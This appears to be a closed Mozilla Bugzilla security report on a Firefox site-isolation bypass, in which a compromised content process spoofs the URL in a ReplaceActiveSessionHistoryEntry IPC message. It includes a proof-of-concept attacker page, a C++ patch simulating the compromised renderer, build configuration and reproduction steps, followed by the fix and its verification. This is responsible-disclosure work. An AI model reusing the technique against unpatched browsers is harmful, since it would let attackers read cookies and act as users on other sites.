Closed Bug 1899154 Opened 1 year ago Closed 11 months ago

Compromised content process can bypass site isolation (Fission) by spoofing URL in ReplaceActiveSessionHistoryEntry IPC message

Categories

(Core :: DOM: Navigation, defect)

defect

Tracking

()

RESOLVED FIXED
132 Branch
Tracking Status
firefox-esr115 131+ fixed
firefox-esr128 131+ fixed
firefox126 --- wontfix
firefox127 --- wontfix
firefox128 --- wontfix
firefox129 --- wontfix
firefox130 --- wontfix
firefox131 + fixed
firefox132 + fixed

People

(Reporter: jan.drescher, Assigned: smaug)

References

(Blocks 1 open bug)

Details

(Keywords: reporter-external, sec-high, Whiteboard: [fixed by bug 1905843][client-bounty-form][adv-main131+][adv-esr128.3+][adv-esr115.16+])

Attachments

(5 files, 1 obsolete file)

Attached file patch.txt

A compromised content process can spoof the URL in a ReplaceActiveSessionHistoryEntry message to the parent process to create an origin confusion in the parent process, thus bypassing site isolation.

Cause

The ReplaceActiveSessionHistoryEntry function offered by the PContentParent IPC interface allows the content process (PContentChild) to submit changes to the current history state. It is part of the implementation of the history.replaceState(state, unused, url) method of the browser API. For security reasons, url must be valid and same-origin to the current URL. However, this security check is only implemented in the content process. An attacker that has exploited a memory bug in the content process and has achieved RCE can send a malicious IPC message to the parent process, that contains a cross-site URL. This can be achieved by replacing info->mURI in auto PContentChild::SendReplaceActiveSessionHistoryEntry(const MaybeDiscardedBrowsingContext& context, const SessionHistoryInfo& info) -> bool (in release/ipc/ipdl/PContentChild.cpp).
For the following explanation, the website used by the attacker will be https://attacker.com and the victim website will be https://www.victim.com.

The malicious ReplaceActiveSessionHistoryEntry IPC message is processed in mozilla::ipc::IPCResult ContentParent::RecvReplaceActiveSessionHistoryEntry(const MaybeDiscarded<BrowsingContext>& aContext, SessionHistoryInfo&& aInfo) in dom/ipc/ContentParent.cpp. There, the function void CanonicalBrowsingContext::ReplaceActiveSessionHistoryEntry(SessionHistoryInfo* aInfo) (docshell/base/CanonicalBrowsingContext.cpp) is called, which replaces the history state.

By sending a ReplaceActiveSessionHistoryEntry IPC message with the cross-site URL https://victim.com and subsequently calling location.reload(); the attacker can trick the browser process to load the cross-site document in the current compromised content process associated with the site https://attacker.com, thus bypassing site isolation. The attacker still has RCE in the process because the process was not replaced. But the privileged parent process now assigns the site https://victim.com to the content process. Thus, the attacker can execute JS in the context of victim.com and for example read the cookies from and send credentialed fetch requests to victim.com. We assume a compromised content process for this site isolation bypass, which we simulate by patching the content process code.

The function SetActiveSessionHistoryEntry probably also lacks security checks.

Steps to reproduce (Firefox for Linux)

  1. Patch the content process code to simulate the compromised renderer process
    • checkout and build a current version of Firefox (e.g., c00a6f0cea53ee7b285abb8157f764cecc52dd28)
    • must not be a debug build, because assertions in the content process detect the bug and crash the process
    • replace the method PContentChild::SendReplaceActiveSessionHistoryEntry in the generated PContentChild.cpp (release/ipc/ipdl/PContentChild.cpp if the attached mozconfig is used) as outlined in patch.txt or #renderer-patch below. The patch modifies the URL of the transmitted SessionHistoryInfo.
  2. Start two HTTP servers, using 127.0.0.1 for the attacker and 127.0.0.2 for the victim
    • cd attacker && python3 -m http.server --bind 127.0.0.1 8080 hosting attacker.html
    • cd victim && python3 -m http.server --bind 127.0.0.2 8080 hosting victim.html
  3. Browse the attacker website ./mach run http://127.0.0.1:8080/attacker.html and observe the processes.
    • in about:processes we can observe the attacker process being reused for the victim site
    • observe that the title of the tab that the victim page is loaded in, still shows the URL of the attacker website

attacker/attacker.html:

<!-- attacker page: http://127.0.0.1:8080/attacker.html --->
<html>
  <body>
    <h1>Attacker page</h1>

    <script>
      (async function () {
        await window.history.replaceState("foo", "bar", null);
        await window.location.reload();
      })();
    </script>
  </body>
</html>

victim/victim.html:

<!-- victim page: http://127.0.0.2:8080/victim.html --->
<html>
  <body>
    <h1>Victim page</h1>
  </body>
</html>

Renderer Patch

Replace a single function in the generated PContentChild.cpp:

// release/ipc/ipdl/PContentChild.cpp

auto PContentChild::SendReplaceActiveSessionHistoryEntry(
        const MaybeDiscardedBrowsingContext& context,
        const SessionHistoryInfo& info) -> bool
{
    UniquePtr<IPC::Message> msg__ = PContent::Msg_ReplaceActiveSessionHistoryEntry(MSG_ROUTING_CONTROL);
    IPC::MessageWriter writer__{
            (*(msg__)),
            this};

    // PATCH
    SessionHistoryInfo newInfo(info);
    nsCOMPtr<nsIURI> uri;
    nsresult rv = NS_NewURI(getter_AddRefs(uri), "http://127.0.0.2:8080/victim.html"_ns);
    newInfo.SetURI(uri);

    IPC::WriteParam((&(writer__)), context);
    // Sentinel = 'context'
    ((&(writer__)))->WriteSentinel(199164678);
    IPC::WriteParam((&(writer__)), newInfo);
    // Sentinel = 'info'
    ((&(writer__)))->WriteSentinel(70058413);

    if (mozilla::ipc::LoggingEnabledFor("PContent", mozilla::ipc::ChildSide)) {
        mozilla::ipc::LogMessageForProtocol(
            "PContentChild",
            this->ToplevelProtocol()->OtherPidMaybeInvalid(),
            "Sending ",
            msg__->type(),
            mozilla::ipc::MessageDirection::eSending);
    }
    AUTO_PROFILER_LABEL("PContent::Msg_ReplaceActiveSessionHistoryEntry", OTHER);

    bool sendok__ = ChannelSend(std::move(msg__));
    return sendok__;
}

mozconfig:

export MOZ_PACKAGE_JSSHELL=1

ac_add_options --with-app-name=firefox
mk_add_options MOZ_APP_NAME=firefox
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/release

# Enable ASan specific code and build workarounds
ac_add_options --enable-address-sanitizer

# These three are required by ASan
ac_add_options --disable-jemalloc
ac_add_options --disable-crashreporter
ac_add_options --disable-elf-hack

# Keep symbols to symbolize ASan traces later
export MOZ_DEBUG_SYMBOLS=1
ac_add_options --enable-debug-symbols
ac_add_options --disable-install-strip

# Settings for an opt build (preferred)
# The -gline-tables-only ensures that all the necessary debug information for ASan
# is present, but the rest is stripped so the resulting binaries are smaller.
ac_add_options --enable-optimize="-O2 -gline-tables-only"
ac_add_options --disable-debug

Affected Versions

Discovered in Firefox Linux Version 121. Reproduced in recent Linux build of bookmarks/central (c00a6f0cea53ee7b285abb8157f764cecc52dd28). We therefore assume, that all versions since 121 are impacted. Versions before 121 are probably also impacted. Reproduced on Debian Bookworm and Fedora 39 Workstation.
We did not test this on Windows, but since the function that misses a security check is in the part of the code that is not OS-specific, Firefox for Windows is probably also effected.

Fix

The function void CanonicalBrowsingContext::ReplaceActiveSessionHistoryEntry(SessionHistoryInfo* aInfo) (docshell/base/CanonicalBrowsingContext.cpp) should include a security check, which verifies that aInfo->mURI is valid and same-origin to the current URL. A content process sending a message that fails this check is probably compromised and should be killed.

Flags: sec-bounty?
Attached file mozconfig
Attachment #9404125 - Attachment description: Attacker page → Attacker page (attacker.html)
Attachment #9404126 - Attachment mime type: application/octet-stream → text/plain
Attachment #9404131 - Attachment description: Content process patch to simulate compromise → patch.diff to simulate compromise
Attachment #9404131 - Attachment description: patch.diff to simulate compromise → patch.diff to simulate compromised content process

Git diff view of the content process patch:

diff --git a/PContentChild.cpp b/PContentChild.cpp
index bd752c9a429c..4dba772649cd 100644
--- a/PContentChild.cpp
+++ b/PContentChild.cpp
@@ -7015,31 +7015,37 @@ auto PContentChild::SendSetActiveSessionHistoryEntry(
 auto PContentChild::SendReplaceActiveSessionHistoryEntry(
         const MaybeDiscardedBrowsingContext& context,
         const SessionHistoryInfo& info) -> bool
 {
     // ASYNC
     UniquePtr<IPC::Message> msg__ = PContent::Msg_ReplaceActiveSessionHistoryEntry(MSG_ROUTING_CONTROL);
     IPC::MessageWriter writer__{
             (*(msg__)),
             this};
 
+    // PATCH
+    SessionHistoryInfo newInfo(info);
+    nsCOMPtr<nsIURI> uri;
+    nsresult rv = NS_NewURI(getter_AddRefs(uri), "http://127.0.0.2:8080/victim.html"_ns);
+    newInfo.SetURI(uri);
+
     IPC::WriteParam((&(writer__)), context);
     // Sentinel = 'context'
     ((&(writer__)))->WriteSentinel(199164678);
-    IPC::WriteParam((&(writer__)), info);
+    IPC::WriteParam((&(writer__)), newInfo);
     // Sentinel = 'info'
     ((&(writer__)))->WriteSentinel(70058413);
 
 
     if (mozilla::ipc::LoggingEnabledFor("PContent", mozilla::ipc::ChildSide)) {
         mozilla::ipc::LogMessageForProtocol(
             "PContentChild",
             this->ToplevelProtocol()->OtherPidMaybeInvalid(),
             "Sending ",
             msg__->type(),
             mozilla::ipc::MessageDirection::eSending);
     }
     AUTO_PROFILER_LABEL("PContent::Msg_ReplaceActiveSessionHistoryEntry", OTHER);
 
     bool sendok__ = ChannelSend(std::move(msg__));
     return sendok__;
 }
Attachment #9404131 - Attachment is obsolete: true
Group: firefox-core-security → dom-core-security
Component: Security → DOM: Navigation
Product: Firefox → Core
Flags: needinfo?(smaug)
Flags: needinfo?(peterv)

The bug has a release status flag that shows some version of Firefox is affected, thus it will be considered confirmed.

Status: UNCONFIRMED → NEW
Ever confirmed: true
Assignee: nobody → smaug
Flags: needinfo?(smaug)
Flags: needinfo?(peterv)

The severity field is not set for this bug.
:hsinyi, could you have a look please?

For more information, please visit BugBot documentation.

Flags: needinfo?(htsai)
Severity: -- → S2
Flags: needinfo?(htsai)

Hey there,

This bug is part of a research effort into the security of site isolation implementations. We want to submit our paper to Usenix Security 2025 on 4th September. In case of acceptance, the paper which would contain information on this bug would become public around end of January 2025.

We wanted to give you a heads-up about this plan, so you have sufficient time to work on a fix.

I am working on a patch, it is just happening elsewhere atm. Need to audit still some code.

Hey Olli, now that bug 1905843 was fixed, what is the next step for this bug? Thank you.

Flags: needinfo?(smaug)

This should be fixed. I'll retest next week once I'm back home.

Olli: Could you test it today? We're releasing security advisories in a few hours and our process picked up the fixed bug 1905843. But it looks like insted we should reference this bug and credit Jan Niklas Drescher instead. But that would be awkward if this wasn't actually fixed.

Jan: maybe you could confirm the fix. Nightly sources after https://hg.mozilla.org/mozilla-central/rev/894b18e7cc4f should have the fix.

In a couple of places (for example, comment 9) you mention "we". How should we credit you and your team in an advisory?

Flags: needinfo?(jan.drescher)

(In reply to Daniel Veditz [:dveditz] from comment #13)

Olli: Could you test it today? We're releasing security advisories in a few hours and our process picked up the fixed bug 1905843. But it looks like insted we should reference this bug and credit Jan Niklas Drescher instead. But that would be awkward if this wasn't actually fixed.

Jan: maybe you could confirm the fix. Nightly sources after https://hg.mozilla.org/mozilla-central/rev/894b18e7cc4f should have the fix.

In a couple of places (for example, comment 9) you mention "we". How should we credit you and your team in an advisory?

I will check the patch shortly.

Please credit Jan Drescher and David Klein from IAS, TU Braunschweig.

I patched a nightly build to simulate the compromised content process and tried to reproduce the exploit. I can confirm that the fix works.
The added security check should also prevent similar vulnerabilities from other navigation APIs. This looks great, thank you!

Flags: needinfo?(jan.drescher)

Thanks for the confirmation!

Group: dom-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 11 months ago
Resolution: --- → FIXED
Target Milestone: --- → 132 Branch

Thanks for testing. I also just verified this again, and the fix has helped here too as expected.

(In reply to Daniel Veditz [:dveditz] from comment #13)

Olli: Could you test it today?

(I couldn't. I was still on my way back home from TPAC)

Flags: needinfo?(smaug)

(I couldn't. I was still on my way back home from TPAC)

You did anyway 😀 I asked late Pacific time and meant your today, not my yesterday.

Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [fixed by bug 1905843][client-bounty-form]

Note: the bug bounty committee has not met on this issue yet. I added the incomplete attachment early to capture the credit information and the fixed-date from the other bug.

Whiteboard: [fixed by bug 1905843][client-bounty-form] → [fixed by bug 1905843][client-bounty-form][adv-main131+][adv-esr128.3+][adv-esr115.16+]
Flags: sec-bounty? → sec-bounty+

(In reply to Daniel Veditz [:dveditz] from comment #13)

How should we credit you and your team in an advisory?

I've updated the advisory to credit you and add a reference to this bug. We're going to leave the CVE alias in bug 1905843 because it's more useful for that to accompany the patch.

QA Whiteboard: [post-critsmash-triage]
Flags: qe-verify-
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: